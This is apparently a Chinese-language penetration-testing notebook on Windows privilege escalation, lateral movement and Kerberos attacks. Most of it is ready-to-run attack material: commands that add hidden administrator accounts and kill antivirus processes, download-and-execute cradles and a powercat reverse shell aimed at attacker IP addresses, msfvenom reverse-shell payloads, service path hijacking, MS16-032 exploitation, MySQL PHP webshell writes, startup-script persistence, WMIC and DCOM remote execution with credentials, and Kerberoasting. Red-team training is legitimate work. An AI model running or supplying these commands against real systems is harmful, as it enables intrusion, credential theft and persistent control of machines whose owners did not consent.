Windows提权方式

Windows信息收集&命令小tips

枚举:WinPEAS.batWinPEAS

提权建议利用脚本:

钓鱼

[[钓鱼攻击学习]]

用户信息

当前用户

1
2
3
4
5
whoami  
whoami /user
whoami /priv # 查看权限(务必
whoami /groups #查看所属组
whoami /all

net查询用户信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 查看所有用户
net user

# 查看某一用户的信息
net user test

# 查看管理员用户
net localgroup administrators

# 查询域管
net group "domain admins" /domain

# 查询域管理员用户组
net localgroup administrators /domain

# 查询域用户
net user /domain

# 域工作组
net group /domain

# 域名
net view /domain

# 域内计算机
net view /domain:xx

# 域控
net time /domain

# 查看远程终端在线的用户
query user
quser

用户管理

Windows 用户名称的构成:用户名称:RID:LM:NTLM

1
2
3
4
5
6
7
net user test 123.com /add & net localgroup administrators test /add #添加一个名为test的用户,并且升级为管理员。  

net localgroup "Remote Desktop Users" test /add #加入远程桌面用户组

net user guest /active:yes #激活guest用户

net user guest 1234 # 修改guest用户的密码

Bypass360添加用户

在360安全大脑的连接的情况下,执行部分操作会被直接拦截。比如这里添加用户,
20210805-13:05:42-_pEruNV_zOtAup_pEruNV_1628139942161_pEruNV_zOtAup

不过这个绕过也很简单。

使用NetUser,成功绕过。

原理是不使用net命令添加用户,改为使用NetUserAdd这个API添加普通权限的用户,NetLocalGroupAddMembers这个API添加管理员权限。

20210805-13:33:21-_DK7iCY_xuoEbv_DK7iCY_1628141601180_DK7iCY_xuoEbv

20210805-13:34:57-_bmz4Iw_SbHQXQ_bmz4Iw_1628141697712_bmz4Iw_SbHQXQ

网络信息

1
2
3
4
ipconfig /all # 网络配置  
route print # 路由信息
arp -a # arp缓存表
netstat -ano # 查看网络连接

防火墙规则

1
2
netsh firewall show config  
netsh firewall show state

本地开放的端口

1
2
3
4
5
netstat -an #目前开放的端口和网络联机情况  
netstat -anp #获取PID,端口开放情况,程序和服务组件等信息
netstat -ano #获取TCP/UDP协议信息,端口,进程号
netstat -anvb #获取进程名,对应的进程pid,端口所用协议,调用的可执行组件,和路径等。
netstat -ano -p tcp #指定获取TCP协议信息,端口,进程号。

查询RDP服务端口

1
2
3
4
5
运行 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp/ v PortNumber 查看

# 命令行查看
tasklist /svc | find "TeamService" #获取对应的PID
netstat -ano | find "PID" # 通过PID找端口

穩域控

1
nslookup -type=SRV _ldap._tcp

命令行开启3389

注册表方式

Windows XP/7
1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

WMIC

Windows2003
1
wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
Windows Server 2008
1
2
3
4
5
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1  

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='DP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
Windwos Server 2012 / Windows 7
1
2
3
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1  

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

服务信息

net

1
2
3
net start #查看系统开启的所有服务  
net stop servicename #关闭服务
net start servicename #开启服务

sc

sc也不是不可以

1
2
3
4
5
6
7
sc qc TermService # 查看某服务的配置信息  

sc query ssdpsrv #查看服务状况

sc config ssdpsrv start= "auto" # 将ssdsrv的服务设置为自动运行
sc config ssdpsrv obj= ".\LocalSystem" password= "" # 设置obj
sc config ssdpsrv binpath= "C:\Inetpub\wwwroot\shell.exe" # 修改服务的运行程序

WMI

1
2
3
4
5
6
wmic service list brief # 查看服务列表  

powershell -c "Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}" # 列出正在运行的服务


Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service

应用程序

自带命令

1
DRIVERQUERY # 查看已安装驱动程序的列表  

WMI

1
2
wmic product list brief # 查看已安装程序列表  
wmic startup list brief # 查看自启动程序列表

系统进程信息

tasklist

1
2
tasklist /svc #获取运行的进程名,服务,PID   
tasklist /fi "pid eq 123" #查找PID为123的程序

WMI

1
wmic process list brief #查看进程列表  

msinfo32

1
2
3
4
5
6
7
start /wait msinfo32.exe /report c:\windows\temp\list.txt /categoriesswenv+SWEnvRunningTasks #获得更加详细的信息  

start /wait msinfo32.exe /report c:\windows\temp\Startup.txt /categories swenv+SWEnvEnvVars #获取环境变量

start /wait msinfo32.exe /report c:\windows\temp\programs.txt /categories swenv+SWEnvStartupPrograms #获取程序组信息(安装的软件信息。

start /wait msinfo32.exe /report c:\windows\temp\Startup.txt /categories swenv+SWEnvStartupPrograms #获取开机自启的信息

结束进程操作

taskill

1
2
3
TASKKILL [/S system [/U username [/P [password]]]] { [/FI filter] [/PID processid | /IM imagename] } [/F] [/T]  

taskill /im 360tray.exe /f #强制关闭360杀毒 /im进程名字 /f强制

taskill通常配合tasklist使用,使用tasklist看完进程id后使用taskill杀死进程。

pskill

PsTools 的下载地址为:点我

1
2
3
4
5
6
7
pskill [-t] [\\computer [-u username [-p password]]] <process ID | name>  

pskill PID/name

pskill和taskill都可以结束其他服务器上的进程。

wmic process where name="iexplore.exe" call terminate #结束进程

系统信息

systeminfo

1
2
3
systeminfo #获取详细的系统信息  
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称"/C:"OS 版本"

WMIC

1
2
3
4
5
wmic qfe get Caption,Description,HotFixID,InstalledOn #查看已安装的更新和安装日期  

#搜索可以提权的特定漏洞
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
没有输出就是没有安装

环境变量

1
SET

hostname-主机名

1
hostname

WMI(powershell)

获取系统版本
1
2
3
4
5
6
7
8
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem  

# 获取域名/主机名
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem

# Bios版本和序列号
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS

检索文件

1
2
3
4
5
6
7
8
9
10
11
dir /b /s password.txt   
dir /b /s *.txt
dir /b /s *.doc
dir /b /s *.ppt
dir /b /s *.xls
dir /b /s *.docx
dir /b /s *.xlsx
dir /b /s config.* filesystem
findstr /si password *.xml *.ini *.txt findstr /si login *.xml *.ini *.txt

dir /b /s *.pfx

无人值守安装日志文件(有包含Base64编码的密码

1
2
3
C:\sysprep.inf  
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml

文件操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for /d %i in (d:\www\*) do @echo %i #列出d:\www下的所有目录  

for /d %i in (???) do @echo %i # 在当前路径下匹配只有1-3个字母的文件夹

for /r %i in (*.exe) do @echo %i #列出当前目录和子目录下的exe文件

for /r %i in (*.ps1) do @echo %i #列出当前目录和子目录下的exe文件

for /r "f:\test\web\" %i in (*.*) do @echo %i #以指定目录为搜索路径,把当前目录及子目录中的所有文件列出

for /f %i in (c:\1.txt) do echo %i #读取1.txt的文件内容

rar a -k -r -s -m3 c:\1.rar d:\wwwroor # rar打包网站目录

c:/php/php.exe "C:/www/admin/1.php" # php读文件?

磁盘信息

获取挂载磁盘的信息。

1
2
3
wmic logicaldisk where DriveType=3 get DeviceID  ## 简单看看盘符 DriveType=3是本地硬盘  

Wmic logicaldisk ## 详细

mountvol

20210414-22:20:55-_4Eh8MO_4Eh8MO_4Eh8MO_rkxKwp

第三方驱动

搜索所有驱动

1
2
3
driverquery /v

driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Dis play Name’, ‘Start Mode’, Path

20210414-22:29:55-_310uAN_310uAN_310uAN_5wFXj2
加个findstr能精确搜索指定的启动模式。

1
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Dis play Name’, ‘Start Mode’, Path | findstr System

也可以用wmi方法来列出所有驱动

1
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer

搜索指定的驱动名字。

1
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer|Where-Object {$_.DeviceName -like "*VMware*"}

20210414-22:32:29-_ivldNy_ivldNy_ivldNy_SAyhjF

注册表关键字搜索

1
2
3
reg query HKLM /f KEYWORD /t REG_SZ /s  
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f vnc /t REG_SZ /s

搜索特殊关键字注册表

1
2
3
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer  

reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

文件权限查询

1
2
3
cacls c:\ #查看权限  
caccls c:\windows\cmd.exe

icacls也可以

定时任务

1
schtasks

下载文件操作

下载文件操作分为LOLBins(Living off the land Binaries)下载方式和常规的文件下载方式。

常规下载

CMD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# bitsadmin Windos7以上可用(360安全大脑会拦截)
bitsadmin /transfern http://www.antian365.com/ma.exe d:\ma.exe

#certutil (360安全大脑会拦截)
certutil -urlcache -split -f http://ip/winPEAS.exe # 在cmd中下载网页上的文件

certutil.exe -urlcache -split -f http://ip/winPEAS.exe delete #清除下载那个文件的缓存。(清除痕迹

##通过base64编码文件
certutil -encode -f nc64.exe tmp.b64 && cls && findstr /v /c:- tmp.b64

cat tmp.b64|base64 -d > nc1.exe

certutil tmp.b64 testnc.exe

Powershell

1
2
3
4
5
6
7
8
9
powershell -c "Invoke-WebRequest -Uri 'http://ip/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'"

powershell "(New-Object System.Net.WebClient).Downloadfile('http://ip:port/chickme.exe','shell.exe')"

## webshell执行(无文件落地执行。;后面接要执行的命令。
powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.41:8080/powercat.ps1');powercat -c 10.10.14.41 -p 443 -e cmd"

## 该命令类似于 curl,在终端窗口中输出下载内容。
powershell -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.10.115/a1.ps1')"

VBS

1
2
3
4
5
6
7
8
9
10
11
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://192.168.179.1/nc.exe", False
xHttp.Send

with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "C:\Users\Public\nc.exe", 2 '//overwrite
end with

LoLBin 文件下载

LOLBins,lib,script定义:

  1. 它是操作系统本身文件,或者是从Microsoft下载的文件。总之它必须带有windows自身签名文件。
  2. 由于是windows自身签名文件,所以一般天然带有免杀的属性,能通过很多应用程序的白名单。
  3. 它具有APT功能或者一些对我们红队有用的功能。像去年2019年TA505利用LoLbin和新型后门攻击金融行业。

IMEWDBLD.exe(仅Windows10或以上可用)

文件路径为:

1
C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE 

文件下载后路径为:

1
C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE\[随机值]

查找文件的存储路径

1
forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path"
示例

Kali起个Web服务。
20210805-11:25:45-_dXNG1g_jAQ3eK_dXNG1g_1628133945802_dXNG1g_jAQ3eK
在Windows10下下载文件,会弹出个无法下载字典文件的报错提示,但是可以不用管它。

1
C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE http://192.168.179.2/1.txt

20210805-11:26:58-_Ds7nP1_17YLXM_Ds7nP1_1628134018310_Ds7nP1_17YLXM

1
forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path"

因为下载后的位置是随机生成的,所以需要使用for遍历一下准确的下载路径,然后查看内容。
20210805-11:30:26-_JnVySd_bbirw2_JnVySd_1628134226311_JnVySd_bbirw2

Desktopimgdownldr.exe

用于设置锁定屏幕或桌面背景图像作为个性化CSP一部分.CSP在WIN10 1703之后引入。用户如果没有用过CSP,那么路径不存在。

1
C:\\Windows\\Personalization

默认图片下载和存放路径:

1
C:\\windows\\Personalization\\LockScreenImage\\LockScreenImage_%random%.jpg

默认用法

1
2
desktopimgdownldr /lockscreenurl:https://domain.com:8080/file.exe /  
eventName:randomname

CertReq

certreq命令可用于从证书颁发机构(CA)请求证书,从CA检索对先前请求的响应,从.inf文件创建新请求,接受并安装对请求的响应,根据现有的CA证书或请求构造交叉认证或合格的从属请求,并签署交叉认证或合格的从属请求。 原本用于帮助windows进行证书认证。还能够作为上传,下载的重要工具。

上传:

1
CertReq -Post -config https://example.org/ c:\\windows\\win.ini

下载POST请求,并显示内容(支持HTTP与HTTPS):

1
CertReq -Post -config https://example.org/ c:\\windows\\win.ini

下载POST请求,并保存到本地(支持HTTP与HTTPS):

1
CertReq -Post -config https://example.org/ c:\\windows\\win.ini output.txt

小文件可以下载,大文件下载会报错。

生成shell-MSF

1
2
3
meterpreter -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.10 LPORT=65500 -f exe -o shell.exe  

msfvenom -p windows/shell_reverse_tcp -a x86 --encoder /x86/shikata_ga_nai LHOST=[your_ip] LPORT=[listening_port] -f exe -o [shell_name.exe]

Powershell 相关

当前powershell是否为64位进程

1
[Environment]::Is64BitProcess

powershell 历史记录文件

就像Linux中的bash一样。powershell一样拥有一个类似.bash_history的文件,路径为:

1
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history

提权相关操作

Windows-Exploit-Suggester

受Linux-Exploit-Suggester启发的提权辅助工具,但是需要Python和xlrd支持。

RUNAS 提高权限运行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/noprofile        specifies that the user's profile should not be loaded.  
This causes the application to load more quickly, but
can cause some applications to malfunction.
/profile specifies that the user's profile should be loaded.
This is the default.
/env to use current environment instead of user's.
/netonly use if the credentials specified are for remote
access only.
/savecred to use credentials previously saved by the user.
/smartcard use if the credentials are to be supplied from a
smartcard.
/user <UserName> should be in form USER@DOMAIN or DOMAIN\USER
/showtrustlevels displays the trust levels that can be used as arguments
to /trustlevel.
/trustlevel <Level> should be one of levels enumerated
in /showtrustlevels.
program command line for EXE. See below for examples

使用:

1
2
runas /user:Administrator cmd  
runas /user:Administrator@DC cmd

无人值守安装提权

无人值守安装是原始设备制造商、企业和其他用户在无人值守模式下安装Windows NT的一种方法

它以base64存储用户密码。

1
C:\Windows\Panther\Unattend\Unattended.xml

服务程序利用

accesschk-last version

accesschk旧版本(适用于XP,2003

小工具,用于检查用户和用户组对文件,目录,注册表,全局对象和系统服务的权限情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
usage: accesschk   
-a Windows账号权限 *表示所有用户权限名称
-c 服务名称 *表示所有服务
-d 只处理目录或者是顶级的注册表键
-e 只显示设置的完整性级别
-f 组,和权限的完整令牌信息
-k 注册表键值
-I
-l 列出全部访问控制表
-n 只显示没有访问权限的对象
-o
-p 进程名/pid
-q 省略标示
-r 显示只读
-s 递归
-t 筛选
-u 隐藏报错
-v 详细
-w 显示可写

例子:

1
accesschk users -c *| find "RW" # 显示用户所有有读写权限的服务

不安全的服务权限

利用要求

  • 拿到的用户拥有更改服务器配置的权限

可写服务

使用accesschk.exe来查询可写服务

/accepteula参数仅在旧版本(XP,2003)有用,其他系统可以直接无视这个参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
-------------------------------------------------  
C:\Inetpub\wwwroot>accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS

-------------------------------------------------
C:\Inetpub\wwwroot>accesschk /accepteula users -c *| find "RW"
accesschk /accepteula users -c *| find "RW"
RW SSDPSRV
RW upnphost

所以当前是有两个服务是可以被当前用户写入的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
C:\Inetpub\wwwroot>accesschk.exe /accepteula -ucqv SSDPSRV  
accesschk.exe /accepteula -ucqv SSDPSRV
SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS

C:\Inetpub\wwwroot>accesschk.exe /accepteula -ucqv upnphost
accesschk.exe /accepteula -ucqv upnphost
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS

可以看到,如果这两个服务被启动的时候,是会以NT AUTHORITY权限所运行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SERVICE_NAME: upnphost  
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START ## 守护状态,所以是可以启动的
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : NT AUTHORITY\LocalService

C:\Inetpub\wwwroot>sc qc SSDPSRV
sc qc SSDPSRV
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: SSDPSRV
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 4 DISABLED ### 禁止启动,需要手动修改为可启动
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SSDP Discovery Service
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\LocalService

可以看到一个服务是可以启动,一个是被禁止状态,但是我们还是可以开启他。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
## 设置服务的启动程序 为 恶意程序所在的路径(msfvenom生成的木马  
C:\Inetpub\wwwroot>sc config ssdpsrv binpath= "C:\Inetpub\wwwroot\shell.exe"

sc config ssdpsrv binpath= "C:\Inetpub\wwwroot\shell.exe"
[SC] ChangeServiceConfig SUCCESS

## 设置obj,需要先设置这个,否则会报错。
C:\Inetpub\wwwroot>sc config ssdpsrv obj= ".\LocalSystem" password= ""

sc config ssdpsrv obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS

## 将服务从被禁止状态设置为启动状态
C:\Inetpub\wwwroot>sc config ssdpsrv start= "auto"

sc config ssdpsrv start= "auto"
[SC] ChangeServiceConfig SUCCESS

sc start ssdpsrv启动服务,就能以管理员上线了。

不带引号的不安全服务

1
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """  

查看服务目录是否可写

1
powershell "get-acl -Path 'C:\Program Files (x86)\XXX' | format-list"

不安全的文件/文件夹权限配置–待填坑

绕过应用程序控制策略(AppLocker)

Wiki:AppLocker

AppLocker是Windows 7中引入的应用程序白名单技术。它允许根据程序路径、发布者和散列,限制用户可以执行哪些程序。

AppLocker默认规则的目录

1
C:\Windows\System32\spool\drivers\color

注册表提权

UAC绕过

msf模块

1
exploit/windows/local/bypassuac

msf 提高运行级别提权

1
exploit/windows/local/ask

手动利用

UAC Bypass – Fodhelper

DLL劫持

系统漏洞提权

1
ms14_058_track_popup_menu ms15_051 ms16_016

MS16_032

补丁编号

  • KB3139914

影响系统版本

  • Windows Vista
  • Windows 7
  • Windows 8.1
  • Windows 10
  • Windows 2008 Server
  • Windows 2012 Server

系统要求

系统至少有2个以上CPU核心,否则利用脚本无法运行;PowerShell v2.0及以上版本。

并且要注意使用的powershell位数。

原版exp(39719)会Spawn一个System Shell出来,只能通过Remote Desktop获取。建议能使用带命令执行的exp。

msf利用

手动利用

先获取一个本地低权限用户的shell

我这里是反弹了一个64位的powershell回来。

接着执行exp提权,但是这里我用的是能携带参数命令执行的

使用的exp为:Powershell-Empire-Invoke-MS16032 在脚本最后添加

1
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.119.163/shell.ps1')"

然后远程加载即可。
反弹shell,使用的exp为:Nishang-Invoke-PowerShellTcp

同样在脚本最后添加:

1
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.119.163 -Port 1443

土豆家族

多汁土豆
PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019
Windows Token九种权限的利用
Windows本地提权工具Juicy Potato测试分析

1
whoami /priv

利用细节:

  • 如果默认CLSD不可用则找到目标系统能用的CLSD

多汁土豆

流氓土豆 RoguePotato.exe

antonioCoco-RoguePotato

No more JuicyPotato? Old story, welcome RoguePotato!

CVE-2020-0796

[[CVE-2020-0796漏洞复现]]

令牌窃取

1
2
3
4
5
6
7
incognito 
use incognito
load incognito

list_tokens -u
list_tokens -g
impersonate_token "NT AUTHORITY\SYSTEM"

mysql 提权

直接写webshell

secure_file_priv写

secure_file_priv 为空或网站根目录在可写目录下

1
select '<?php eval($_POST[admin])?>' into outfile 'C://phpStudy//WWW//shell.php'

日志写入一句话

利用要求:

  • 管理员权限
  • 知道网站的绝对路径

必要选项:

  • general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  • general log file 指的是日志的保存路径。

这两个选项能通过在mysql或者是在phpmyadmin中打开。执行一条sql语句便会被记录到日志文件中。所以只要把日志保存的路径和日志文件名设置成网站路径下的php,就可以生成一个文件,并把一句话代入到其中。

1
2
3
set global general_log='on';  
set global general_log_file='D:/phpstudy/PHPTutorial/WWW/xxx.php'
select '<?php eval($_POST[a]);?>';

UDF提权

Mysql < 5.1版本的 直接将udf.dll导出到任何位置,
Mysql > 5.1后 应该将udf.dll放在mysql的 lib/plugin目录下(默认不存在)

Windows下可以利用文件流创建目录

1
2
3
select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';  
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
sqlmap -u "vulnurl" --os-shell --no-cast

需要知道网站的绝对路径,并且数据库拥有写文件的权限。

MOF提权

VBS启动项提权

通过MySQL建立表单并向表单写入恶意代码,最后从表单里面提取恶意代码并导出到系统的启动项,当系统重新启动时恶意代码将被执行。

要求:

  • mysql有写文件权限
  • 系统要重启
  • 导出的文件没被删除
1
2
3
4
5
6
7
show databases ;  
use test;
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run(""cmd.exe /c net user test test /add"",0)") ;
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators test /add"",0)");
select * from a into outfile "C://Documents and Settings//administrators//「开始」菜单//程序//启动//test.vbs";

每个系统的启动目录不一样。

Windows 2008 Server的启动目录为: C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

mysql_start_up提权

msf下模块exploit/windows/mysql/mysql_start_up提权

1
2
3
4
5
6
use exploit/windows/mysql/mysql_start_up  
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run

pr 提权

要求:windows 2003

将pr.exe和cmd.exe和3389.reg上传到同一路径下

1
2
pr.exe "net user 123 123 /add" 添加用户  
pr.exe " net localgroup administrators 123 /add" # 将用户添加至管理组

导入注册表 开启3389端口

1
regedit /s 3389.reg

滥用模拟特权

Windows 第三方驱动提权

USBPcap

1
driverquery /v

Exploit-ID:41542

滥用LAPS组用户提权(AD)

http://bbs.learnfuture.com/topic/555

https://www.anquanke.com/post/id/169178

https://akijosberryblog.wordpress.com/2017/11/09/dump-laps-password-in-clear-text/

Windows 横向移动

WMIC

1
wmic /NODE:192.168.93.20 /user:"TEST\administrator" /password:"zxcASDqwe123" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.108:8080/a'))\""

wmiexec.vbs

工作组:

1
cscript wmiexec.vbs /shell 192.168.x.x administrator Aatest

域环境

1
cscript wmiexec.vbs /shell 192.168.93.20 TEST\administrator zxcASDqwe123

WMIC事件订阅

待填坑

DCOM

为了发现支持DCOM的应用程序,我们可以使用Win32_DCOMApplicationWMI类进行列举:

1
Get-CimInstance -class Win32_DCOMApplication | select appid,name			

根据这个列表,接下来可以实例化每个AppID,并使用 Get-Membercmdlet列出可用的方法:

1
$obj=[activator]::CreateInstance([type]::GetTypeFromCLSID("FFB8655F-81B9-4fce-B89C-9A6BA76D13E7"))

能用的DOCM

ExecuteShellCommand

1
2
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.0.0.2"))  
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname &gt; c:\fromdcom.txt","7")

Excel.Application

ExecuteExcel4Macro
RegisterXLL

我们借助Excel实现横向移动的第二种方法是RegisterXLL方法,该方法最早由Ryan Hanson发表。这种方式相对简单,顾名思义,RegisterXLL方法允许我们执行XLL文件。该文件只是xlAutoOpen导出的DLL。但是,这种方法的优势有两个,其一是文件的扩展名并不影响,其二是该方法支持UNC路径,也就是说它不需要托管在我们要进行横向移动的系统上。 要编写这种技术的工具非常简单,只需要几行,就可以创建出Excel COM对象的实例,并调用带单个参数(即XLL文件路径)的RegisterXLL方法:

1
2
3
4
string XLLPath = "\\\\\\\\fileserver\\\\excel.log";  
Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
object excel = Activator.CreateInstance(ComType);
excel.GetType().InvokeMember("RegisterXLL", BindingFlags.InvokeMethod, null, excel, new object[] { XLLPath });

Windows提权练习房间

hackpark alfred steelmountain

横向移动参考文章

FAQ

  1. shell_reverse_tcp 和shell/reverse_tcp的区别

    阶段和非阶段性。shell_reverse_tcp是一次性的把攻击载荷传输到目标机器上面,而shell/reverse_tcp则是阶段性的,首先会传输一个较小的主要攻击载荷,再利用这个shell传输剩下的攻击载荷。

Kerberos

Kerberos 是什么

Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。软件设计上采用客户端/服务器结构,并且能够进行相互认证,即客户端和服务器端均可对对方进行身份认证。可以用于防止窃听、防止重放攻击、保护数据完整性等场合,是一种应用对称密钥体制进行密钥管理的系统。Kerberos的扩展产品也使用公开密钥加密方法进行认证。

wiki [https://zh.wikipedia.org/wiki/Kerberos](https://zh.wikipedia.org/wiki/Kerberos)

Kerberos是域的默认身份验证服务。通过第三方票证授权和更强的加密,Kerberos比NTLM更加安全。尽管NTLM有很多可供选择的攻击方式,但Kerberos仍然具有一些潜在的漏洞,就像NTLM一样,我们可以利用它来发挥自己的优势。

Kerberos 常用术语

  • Ticket Granting Ticket (TGT) 票证授予票证,一种身份验证票证,用于向TGS请求服务票证以获取域中的特定资源。
  • Ticket Granting Service (TGS) 票证授予服务-接受TGT请求并将票证返回到域中的计算机。
  • Authentication Service (AS) 身份验证服务发出由域中的TGS使用的TGT,以请求访问其他计算机和服务票证。
  • Key Distribution Center (KDC) 密钥分发中心是用于发行TGT和服务票证的服务,该服务由身份验证服务(AS)和票证授予服务(TGS)组成。
  • Service Principal Name (SPN) 服务主体名称是为服务实例提供的标识符,以将服务实例与域服务帐户相关联。 Windows要求服务具有域服务帐户,这就是服务需要SPN集的原因。
  • KDC Long Term Secret Key (KDC LT Key)KDC长期秘密密钥 -KDC密钥基于KRBTGT服务帐户。 它用于加密TGT并签署PAC。
  • Client Long Term Secret Key (Client LT Key)客户端密钥基于计算机或服务帐户。它用于检查加密的时间戳并加密会话密钥。
  • Service Long Term Secret Key (Service LT Key)服务密钥基于服务帐户。它用于加密服务票证的服务部分并对PAC签名。

Kerberous 身份验证机制 攻击

理解Kerberous

Kerberous 保护widnows域的看门狗。。

KDC The Kerberos Distribution Center Kerberos密钥分发中心

1
setspn -T medin -Q   */*
1
2
Invoke-Kerberoast -OutputFormat hashcat  |fl  
hashcat -m 13100 -a 0 hash.txt wordlist --force

Ntds.dit

在域环境中,活动目录是域中提供目录服务的组件,其可以帮助用户快速准确地从目录中找到其所需要的信息。在规模较大的网络中,要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等分门别类、井然有序的存放在一个大仓库中,并做好信息索引,一遍查找、管理和使用这些资源对象。拥有这个层次结构的数据库就是活动目录数据库。

Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit,活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。

